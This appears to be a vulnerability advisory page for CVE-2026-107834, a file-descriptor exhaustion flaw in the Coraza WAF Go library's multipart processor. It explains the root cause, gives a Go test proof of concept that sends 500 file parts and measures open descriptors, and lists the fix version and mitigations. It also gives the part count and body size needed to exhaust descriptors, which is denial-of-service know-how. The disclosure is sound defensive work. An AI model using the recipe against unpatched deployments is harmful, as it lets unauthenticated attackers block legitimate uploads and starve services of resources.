CVE-2026-107834 is a medium-severity (CVSS 5.3) Uncontrolled Resource Consumption vulnerability in github.com/corazawaf/coraza/v3. A fix is available for github.com/corazawaf/coraza/v3 — see the affected versions and patch details below.
OWASP Coraza WAF: Resource exhaustion via deferred file handle accumulation in multipart body processor
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-107834.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-107834 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/corazawaf/coraza/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.
Details
internal/bodyprocessors/multipart.go, line 69:
for {
p, err := mr.NextPart()
// ...
temp, err := os.CreateTemp(storagePath, "crzmp*")
defer temp.Close() // wrong scope
io.Copy(temp, p)
}
Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.
The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.
Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.
PoC
Tested on v3.7.0 (db9850b), Go 1.25, Linux x86_64.
Add this file at internal/bodyprocessors/poc_fd_test.go and run:
go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...
package bodyprocessors_test
import (
"fmt"
"os"
"strings"
"sync"
"sync/atomic"
"testing"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/internal/bodyprocessors"
"github.com/corazawaf/coraza/v3/internal/corazawaf"
)
func countFDs() int {
e, _ := os.ReadDir("/proc/self/fd")
return len(e)
}
func TestMultipartFDLeak(t *testing.T) {
boundary := "testboundary"
var sb strings.Builder
for i := 0; i < 500; i++ {
fmt.Fprintf(&sb, "--%s\r\n", boundary)
fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
sb.WriteString("\r\n")
sb.WriteString("X\r\n")
}
fmt.Fprintf(&sb, "--%s--\r\n", boundary)
mp, _ := bodyprocessors.GetBodyProcessor("multipart")
baseline := countFDs()
var peak int64
done := make(chan struct{})
var wg sync.WaitGroup
wg.Add(1)
go func() {
defer wg.Done()
for {
select {
case <-done:
return
default:
n := int64(countFDs())
for {
cur := atomic.LoadInt64(&peak)
if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
break
}
}
}
}
}()
v := corazawaf.NewTransactionVariables()
mp.ProcessRequest(strings.NewReader(sb.String()), v,
plugintypes.BodyProcessorOptions{
Mime: "multipart/form-data; boundary=" + boundary,
StoragePath: t.TempDir(),
})
close(done)
wg.Wait()
t.Logf("baseline=%d peak=%d spike=+%d",
baseline, atomic.LoadInt64(&peak),
atomic.LoadInt64(&peak)-int64(baseline))
}
Output:
baseline=7 peak=506 spike=+499
The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.
Impact
- No authentication required. Any endpoint that accepts multipart uploads is affected.
- fd exhaustion at ~6.8MB body (~65k parts).
os.CreateTempstarts returning errors andMULTIPART_STRICT_ERRORis set to 1. - CRS false positives / DoS. With CRS loaded, rule
200001then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload. - Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
- Scope. Affects all v3.x releases; the
deferhas been present since the multipart processor was introduced.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/corazawaf/coraza/v3 | ≥ 3.0.0&&< 3.8.0 | 3.8.0go get github.com/corazawaf/coraza/v3@v3.8.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/corazawaf/coraza/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/corazawaf/coraza/v3 to 3.8.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-107834 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-107834 in your dependencies?
Find it across Go, including transitive dependencies.